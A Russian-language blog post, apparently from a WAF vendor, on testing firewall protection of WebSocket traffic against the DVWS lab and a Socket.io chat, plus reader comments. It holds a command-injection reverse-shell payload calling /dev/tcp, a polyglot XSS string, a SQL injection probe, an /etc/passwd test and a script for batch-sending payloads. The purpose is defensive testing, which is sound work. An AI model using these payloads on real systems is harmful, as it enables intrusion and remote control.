Есть мнение, что в силу особенностей вебсокетов, WAF не может их нормально анализировать и защищать. Давайте попробуем разобраться, насколько это утверждение справедливо.

Сперва несколько слов о том что есть вебсокет и где он применяется.

Кратко о websockets

Особенности протокола

  • Работает поверх TCP-соединения.

  • Двухсторонний обмен данными в рамках постоянного соединения, в реальном времени, с минимальными накладными расходами.

  • Для установления соединения клиент формирует особый HTTP‑запрос, на который сервер отвечает определенным образом, т. е. происходит переключение с HTTP на Websocket.

  • Стандартизирован IETF в виде RFC 6455 в 2011 году, актуальные данные тут

  • Может быть использован для любого клиентского или серверного приложения.

  • Поддерживается всеми современными браузерами.

  • Есть библиотеки для популярных языков: Objective‑C,.NET, Python, Java, node.js, Go.

  • Для протокола есть расширение RFC 7692 для сжатия данных.

Процедура переключения с HTTP на сокеты довольно неплохо описана в википедии.

Примеры реализаций:

Есть еще любопытные реализации типа websocketd ;)

Еще больше информации тут

Области применения:

  • Приложения реального времени: дашборды, панели мониторинга, торговые терминалы

  • Игры

  • Чат-приложения

Распространенные уязвимости и атаки на websockets

Для простоты условно разделю уязвимости на несколько групп:

  • Атаки на безопасность сеанса (Broken Access Control)

  • Атаки на бизнес логику

    • Race Conditions

  • DoS & DDoS

    • Неуправляемое потребление ресурсов (Resource Exhaustion): атаки, направленные на исчерпание ресурсов сервера или клиента, таких как память или процессорное время, путем создания большого количества WebSocket‑соединений

    • Исчерпание количества TCP соединений

  • Атаки, связанные с недостаточной фильтрацией пользовательского ввода

    • Всевозможные injections (XSS, RCE, SQLi, etc)

    • SSRF

  • Атаки на реализацию websocket

  • Сетевые атаки

    • Атаки «Человек посередине» (MITM): злоумышленник перехватывает и изменяет сообщения, передаваемые между клиентом и сервером

    • Сниффинг: анализ трафика WebSocket для получения конфиденциальных данных

Как видите, возможностей у атакующего немало, отсюда и для разработчиков WAF задача по защите выглядит непросто.

К разнообразию атак нужно еще добавить следующие нюансы:

  • Любые варианты кодирования данных, передаваемых внутри сокета: json, plaintext, сериализация, кастомные форматы, бинарные данные.

  • Сложность реализации поведенческого анализа, ввиду того, что данные передаются внутри одной сессии (соединения).

И все же многие WAF заявляют о поддержке вебсокетов...

Как протестировать WAF на защиту вебсокетов?

Тестировать будем обнаружение инъекций, т.к. это наиболее простой и наглядный сценарий, к тому же это можно считать базовой функциональностью WAF.

По результатам тестирования можно будет судить о возможностях WAF разбирать и парсить веб сокеты, а также о качестве сигнатур.

Общая логика — поднять websocket-бэкенд, настроить прохождение трафика через WAF, отправлять разнообразные payload и следить за реакцией.

Все очень похоже на обычное тестирование WAF, про которое мы уже писали ранее.

Оса не проскочит: разбираемся в методиках тестирования и сравнения  ̶ а̶н̶т̶и̶м̶о̶с̶к̶и̶т̶н̶ы̶х̶ ̶с̶е̶т̶о̶к̶  WAF

Сколько попугаев выдает ваш WAF? Обзор утилит для тестирования

Разница лишь в транспорте.

Покажу тестирование на примере нашего продукта, благо он у меня всегда под рукой ;)

А для разнообразия попробуем несколько реализаций вебсокетов.

OWASP Damn Vulnerable Web Sockets (DVWS)

https://github.com/interference-security/DVWS

Довольно старый проект, написан на php, для вебсокетов использует библиотеку Ratchet. Приложение содержит множество уязвимостей:  SQLi, Command Injection, XSS, LFI. Подробнее предлагаю посмотреть на странице проекта. При желании можно найти writeup, как пример.

Авторы не добавили в проект Dockerfile, что несколько неудобно, но это не беда, его и docker-compose можно взять из Pull request, что я и сделал, запустив приложение.

На порту 8888 будет висеть фронт, а на 8081 вебсокет.

Пример конфига NGINX для проксирования и фильтрации трафика через WMX ноду: 

server {
    listen 80;
    server_name dvws.local;
    wallarm_mode block;
    wallarm_parse_websocket on;

    location / {
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
      proxy_pass http://127.0.0.1:8081;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
 }

Сперва нужно выполнить первоначальную настройку приложения перейдя на http://dvws.local:8888/setup.php

А теперь давайте попробуем проэксплуатировать баги и посмотреть на коммуникацию между клиентом и сервером.

На странице command-execution сначала в поле адрес вставим IP адрес:

В режиме разработчика видно что данные идут через вебсокет.

А потом попробуем добавить к нему reverse shell:

1.1.1.1; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Была обнаружена попытка запуска реверс шелла, соединение разорвано.
Была обнаружена попытка запуска реверс шелла, соединение разорвано.

Пример события в ЛК:

Как видите, в этом случае данные передаются в plain text, и для WAF нет особой проблемы их распарсить.

С эксплуатацией других уязвимостей DVWS ситуация схожая, давайте перейдем дальше.

Socket.io

Взглянем другое средство коммуникации, которое может использовать websocket как транспорт при обмене сообщениями.
Интересно оно тем, что добавляет дополнительные метаданные в каждый пакет, подробнее тут. Проверим сможет ли WAF парсить такое.

Возьмем пример чата из https://github.com/socketio/socket.io/tree/main/examples/chat, увы, на этот раз без специально оставленных уязвимостей ;)

Запуск тестового приложения:

git clone https://github.com/socketio/socket.io
cd socket.io/examples/chat/
npm i
npm start

Сервис запустится на порту 3000.

Пример конфига NGINX, я не стал менять server_name, оставил dvws.local.

server {
    listen 80;
    server_name dvws.local;
    wallarm_mode block;
    wallarm_parse_websocket on;

location / {
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_set_header Host $host;
      proxy_pass http://127.0.0.1:3000;
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
    }
 }

Попробуем отправить несколько запросов и понаблюдать за коммуникацией.

Нормальное взаимодействие клиента и сервера
Нормальное взаимодействие клиента и сервера

Попробуем отправить какую-нибудь XSS.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
XSS обнаружена, соединение разораано.
XSS обнаружена, соединение разораано.
Пример события в ЛК
Пример события в ЛК

Атаки обнаружены, TCP соединение разорвано, а в консоли управления есть соответствующие события.

Websocat

И напоследок попробуем провести более интересное тестирование. Воспользуемся websocat как для имитации сервера, так и для отправки разнообразных payload. Передаваемые данные будем сжимать используя gzip, оборачивать в json и кодировать в base64.

Для начала нужно взять бинарник со страницы проекта.

Запуск сервера:

./websocat -s 127.0.0.1:3000

Конфиг NGINX смотри выше.

Несколько примеров запуска websocat:

# простой интерактивный режим
./websocat ws://dvws.local -E

# простой интерактивный режим с детальным выводом
./websocat ws://dvws.local -E -vv

# Оборачивать payload в JSON, method и params. 
# {"jsonrpc":"2.0","id":1, "method":"f", "params":[]}
./websocat ws://dvws.local/ --jsonrpc -E

# сжимать передаваемы данные gzip
./websocat ws://dvws.local/ --binary --compress-gzip -E 

# Отправить строку, вывести более детальный log
echo "/etc/passwd" | ./websocat - log:timestamp:"ws://dvws.local" -E

Но это все для единичных запросов... Веселее будет в качестве источника payload взять:

Далее сформировать файлы, содержащие множество атак, а также отдельные файлы с false-positive, и прогнать пачкой. Сделать это можно подручными средствами.

payloads_send.sh

#!/bin/bash

TARGET="ws://dvws.local/"
FILENAME=$1
ENCODING=$2

if [[ $# -eq 0 ]] ; then
    echo 'Usage example: payloads_send.sh _payloads_file_ _encoding_method_'
    echo 'Encoding methods: plain, base64, gzip, json'
    exit 1
fi

while IFS= read -r line
do
  echo "$line"
  case "$ENCODING" in
    plain) echo "$line" | ./websocat $TARGET --binary -E ;;
    base64) echo "$line" | base64 | ./websocat $TARGET --binary -E ;;
    gzip) echo "$line" | gzip | ./websocat $TARGET --binary -E ;;
    json) echo "SOME_METHOD $line" | ./websocat $TARGET --text --jsonrpc -E ;;
    *) echo "$line" | ./websocat $TARGET --binary -E ;;
  esac
  shift
done < "$FILENAME"

На стороне сервера можно включить запись прошедших payload в файл, чтобы потом возможно было сделать diff и понять что проходит через WAF, а что – нет.

./websocat ws-l:127.0.0.1:3000 writefile:passed.txt

Либо просто посмотреть на вывод websocat сервера в STDOUT.

Для наглядности – запустил websocat с флагом –vv и попробовал среди прочего отправить:

123) AND 12=12 AND JSON_DEPTH('{}') != 2521
Вид со стороны клиента
Вид со стороны клиента
Вид со стороны сервера. До backend атака не дошла.
Вид со стороны сервера. До backend атака не дошла.
В ЛК атака зафиксирована
В ЛК атака зафиксирована

Рекомендации по безопасности

  • Используйте WSS (WebSockets Secure) вместо незашифрованных websockets.

  • Используйте CSRF токены для защиты от CSWSH.

  • Проверяйте заголовок ORIGIN для защиты от CSWSH.

  • Проверяйте и экранируйте пользовательский ввод.

  • Используйте Rate Limiting для уменьшения рисков атак на отказ в обслуживании (DoS).

  • Задайте ограничения на максимальный размер передаваемых данных внутри websocket, это снизит риски DoS.

  • Используйте WAF с поддержкой websockets  ;)

  • Если в вашем WAF заявлена поддержка вебсокетов, то не лишним будет её протестировать.

Инструментарий и полезные ссылки

https://github.com/PalindromeLabs/STEWS

https://github.com/PalindromeLabs/awesome-websocket-security

https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets

https://book.hacktricks.xyz/pentesting-web/websocket-attacks

https://portswigger.net/web-security/websockets

https://github.com/PalindromeLabs/WebSockets-Playground

Заключение

В начале статьи был поставлен вопрос о возможности WAF обрабатывать и защищать websocket. Как видите WAF с этим справляется, но с некоторыми оговорками:

  • У WAF должен быть отдельный модуль или парсер заточенный под вебсокет.

  • Если ваше приложение использует расширение RFC 7692, то и WAF должен его поддерживать.

  • В WAF желателен механизм работы с false-positive.

  • Должен быть парсинг данных внутри вебсокета (json, gzip, xml, etc).

  • WAF будет очень тяжело или вовсе невозможно анализировать сообщения внутри вебсокета если используются бинарные / кастомные протоколы передачи данных.

  • Тяжело или невозможно реализовать поведенческий анализ.

Если защита вебсокетов для вас актуальна – приходите к нам на бесплатный пилот.

Удачи в защите! Буду рад конструктивной критике и дополнениям.

Подписывайтесь на канал. Здесь мы делимся информацией по продукту, нашими находками и наработками, пока они не оформляются в большой статический материал.

Комментарии (8)


  1. slca
    02.10.2024 06:33
    +1

    Socket.IO для Node.JS это не имплементация websocket, это грубо говоря кастомный протокол, который работает поверх нескольких типов транспорта, включая вебсокеты. К нативным вебсокетам нельзя подключиться клиентом Socket.IO и наоборот.


    1. Vadim_Shepelev Автор
      02.10.2024 06:33

      Ценное замечание, поправил.


  1. rpy3uH
    02.10.2024 06:33
    +1

    Я как разработчик веб-приложения, в котором используются веб-сокеты со сложно-структурированными джейсонами, слабо представляю кейс, в котором буду платить деньги кому-то вместо того, чтобы реализовать у себя дополнительную валидацию отдельно взятых полей. Ведь решение для меня будет очень кастомное и ждать вашу реализацию я буду долго. Она ещё ведь будет съедать мои вычислительные ресурсы. Причём, если вдруг я захочу изменить свои структуры, то мне придётся ещё ждать, когда вы обновите свою реализацию в WAF.

    В общем, слишком сферически-вакуумная статья. Слабо представляю реализацию защиты веб-сокетов на практике.


    1. Vadim_Shepelev Автор
      02.10.2024 06:33

      Если бы все разработчики реализовывали надежные методы фильтрации входящих данных, то WAF не были бы нужны и для HTTP. Люди допускают ошибки, и WAF - это дополнительный рубеж обороны.

      Для нормального WAF не важно, какой JSON, сложно структурированный или попроще, - он должен парситься. А вот если у вас свой формат, то да, вы правы: WAF про него ничего не знает и, скорее всего, не сможет корректно распарсить.

      Не только мы заявляем о поддержке вебсокетов; есть множество других вендоров. В статье описан вариант, как можно протестировать качество защиты вебсокетов, если для вас это актуально.


      1. rpy3uH
        02.10.2024 06:33

        Для нормального WAF не важно, какой JSON

        А как он узнает, какие поля надо проверять, а какие нет? И как он узнает правила проверки этих полей?


        1. Vadim_Shepelev Автор
          02.10.2024 06:33

          Скорее всего, WAF должен проверять все поля JSON по-умолчанию. Не могу сказать за всех, но наш делает именно так.


          1. rpy3uH
            02.10.2024 06:33

            Я вот уверен, что в большинстве веб-приложений проверять все поля не нужно и даже вредно. А вот какой-либо настройки на ваших скриншотах я не увидел.


  1. andrettv
    02.10.2024 06:33
    +1

    Требования к защите WebSockets в стандарте ASVS (см. раздел V13.5) - https://github.com/OWASP/ASVS/blob/master/5.0/en/0x21-V13-API.md

    Сценарии тестирования защищённости WebSockets в руководстве WSTG - https://github.com/andrettv/WSTG/blob/master/WSTG-ru/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets.md